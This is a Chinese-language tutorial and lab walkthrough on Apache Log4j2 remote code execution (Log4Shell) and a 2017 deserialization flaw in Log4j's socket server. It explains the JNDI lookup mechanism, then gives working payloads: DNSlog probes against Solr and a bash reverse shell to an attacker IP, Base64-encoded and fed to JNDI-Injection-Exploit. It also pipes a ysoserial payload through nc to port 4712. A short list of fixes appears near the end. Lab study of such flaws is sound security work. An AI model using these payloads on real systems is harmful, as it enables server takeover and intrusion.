Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用
例如当开发者想在日志中打印今天的日期,则只需要输出${data:MM-dd-yyyy}
,此时log4j会将${}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22-2022”,这样做就不需要开发者自己去编写查找日期的代码。
表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。
其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。
漏洞适用版本:2.0 <= Apache log4j2 <= 2.14.1
Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的Jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源 并执行其中的代码,从而造成远程代码执行漏洞。
log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。log4j的功能非常强大,开发人员除了直接记录文本外,还可以使用简单表达式记录动态内容,例如:
logger.info("system propety: ${sys:user.dir}");
${}
进行包裹,上述示例中,sys:user.dir
表示使用sys解析器,查找user.dir的内容,即在系统环境变量中查找user.dir,以替换 ${sys:user.dir}
进行打印。
log4j中除了sys解析器外,还有很多其他类型的解析器。其中,jndi 解析器就是本次漏洞的源头。
jndi 解析器将通过 jdk 获取 jndi 对象,并使用这个 jndi 对象替换原有文本进行打印。 我们将 jndi 对象理解成为一个从程序外部获取的 Java 程序对象就可以了。jdk中提供了多种不同 jndi 对象的获取方式,获取方式可以称为schema,所以正常的包含jndi的日志记录方式如下:
logger.info("system propety: ${jndi:schema://url}");
上述schema和url需替换成真实的内容方可生效。
其中,schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。
url是几种不同的schema下jndi的路径。不同的schema,url路径的配置方法不同。常用的schame是ldap,其url写法比较简单:jndi:ldap://xxx.dnslog.cn
jdk将从url指定的路径下载一段字节流,并将其反序列化为Java对象,作为jndi返回。反序列化过程中,即会执行字节流中包含的程序。
因此,如果攻击者能够控制日志打印的内容,就可以使目标服务器从攻击者指定的任意url地址下载代码字节流,攻击者在字节流中附带的代码就会在目标服务器上执行。
那么问题来了,攻击者如何控制服务器上记录的日志内容呢?
非常简单! 大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,我们在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}
就可以使web服务从xxx.dnslog.cn
下载字节流了。
开发人员一般会使用log4j2在日志中输出一些变量,log4j2 除了可以输出程序中的变量,它还提供了多种lookup功能插件,可以用来查找更多数据用于输出。lookup在log4j2中,就是允许在输出日志的 时候,通过多种方式去查找要输出的内容,其中就可以使用Jndi Lookup 。
JNDI(Java Naming and Directory Interface,JAVA命名和目录接口):它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI下面有很 多目录接口,用于不同的数据源的查找引用。
JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。
LDAP(轻型目录访问协议):是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问 控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈 树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。
RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机 的对象的方法。
log4j2 远程代码执行漏洞大致过程(此处使用RMI,LDAP同理): 假设有一个Java程序,将用户名信息到了日志中,如下
**a.**攻击者发送一个HTTP请求,其用户名为${jndi://rmi服务器地址/Exploit}
**b.**被攻击服务器发现要输出的信息中有 ${}
,则其中的内容要单独处理,进一步解析是JNDI扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。
**c.**RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端 文件下载服务器上含有恶意代码的class文件。
**d.**被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。
**e.**被攻击服务器下载恶意class文件并执行其中的恶意代码
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
**a.**假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp}
**b.**被攻击服务器发现要输出的信息中有 ${}
,log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
**c.**解析到ldap,就会去192.168.61.129:1099
的ldap服务找名为exp的资源,如果找不到就会去http服务中找在http中找到exp之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现exp是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害
靶机:192.168.72.128
攻击机:192.168.0.113
申请子域名
在注入点插入Payload
${jndi:idap://${sys:java.version}.dnslog}是利用JNDI发送DNS请求的Payload:
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.1c6zpg.dnslog.cn}
http://192.168.72.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.1c6zpg.dnslog.cn}
可以看到成功带出java版本,命令被执行
反弹shell需要利用到JNDIExploit
(1)准备反弹shell,并将此命令进行Base64编码
Base64编码可以选择在线编码
bash -i >& /dev/tcp/192.168.0.113/123 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEzLzEyMyAwPiYy
(2)使用JNDIExploit进行漏洞利用,将上述Base64编码结果 填入指定位置
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i} -A "攻击机IP"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEzLzEyMyAwPiYy}|{base64,-d}|{bash,-i}" -A "192.168.0.113"
(3)在攻击机开启监听
(4)修改Payload
使用刚刚JNDIExploit生成的Payload,如果不成功可以把生成的五个Payload都尝试一下
http://192.168.72.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.0.113:1099/t9c5yy}
(5)成功反弹Shell
(6)修复建议
更新log4j至 rc2
配置防火墙策略,禁止主动连接外网设备
升级受影响的应用及组件
过滤相关的关键词,比如${jndi://*}
限制JNDI默认可以使用的协议
限制可以通过LDAP访问的服务器和类
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码
攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。
环境启动后,会在4712端口开启一个TCPserver。
用ysoserial生成payload,然后直接发送给被害者主机就可以
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/YikJiang" | nc 192.168.72.128 4712
docker exec -it a580281f7196 /bin/bash